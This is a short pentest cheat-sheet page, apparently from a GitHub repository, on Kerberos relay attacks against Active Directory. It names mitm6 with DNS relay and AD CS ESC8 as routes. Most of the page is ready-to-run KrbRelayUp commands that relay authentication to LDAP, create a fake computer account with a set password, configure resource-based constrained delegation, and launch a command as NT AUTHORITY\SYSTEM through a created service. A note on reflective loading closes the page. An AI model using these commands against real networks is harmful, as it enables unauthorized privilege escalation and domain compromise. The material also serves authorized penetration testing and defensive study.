Skip to content

Latest commit

 

History

History
63 lines (33 loc) · 2.67 KB

kerberos-relay.md

File metadata and controls

63 lines (33 loc) · 2.67 KB

Kerberos Relay

mitm6 + Kerberos DNS Relay + AD CS ESC8

Tools

KrbRelay

KrbRelayUp

RELAY

Relay authentication to LDAP(S) with automatic machine creation and configure RBCD:

PS > .\KrbRelayUp.exe RELAY [-d|--Domain megacorp.local] [-dc|--DomainController DC01.megacorp.local] [-m|--Method RBCD] -c|--CreateNewComputerAccount [-cn|--ComputerName FAKEMACHINE$] [-cp|--ComputerPassword Passw0rd!]

Perform RBCD with UPNs:

PS > .\KrbRelayUp.exe RELAY -u2u -cn j.doe -cp Passw0rd!

{% content-ref url="/pentest/infrastructure/ad/delegation-abuse/rbcd.md#rbcd-with-upns" %} rbcd.md {% endcontent-ref %}

SPAWN

Execute a command as NT AUTHORITY\SYSTEM via RBCD abuse:

PS > .\KrbRelayUp.exe SPAWN [-m|--Method RBCD] [-i|--Impersonate administrator] [-s|ServiceName PwnSVC] [-sc|--ServiceCommand C:\Windows\System32\cmd.exe] -cn|--ComputerName FAKEMACHINE$ -cp|--ComputerPassword Passw0rd! [or -ch|--ComputerPasswordHash fc525c9683e8fe067095ba2ddc971889]

{% hint style="warning" %} As @ShitSecure mentioned, executing the binary as a .NET Reflective Assembly from PowerShell will fail because the PowerShell process will have already initialized the security parameters for COM itself after having been launched, so CoInitializeSecurity will not contain those new parameters attempted to set by KrbRelay(Up). {% endhint %}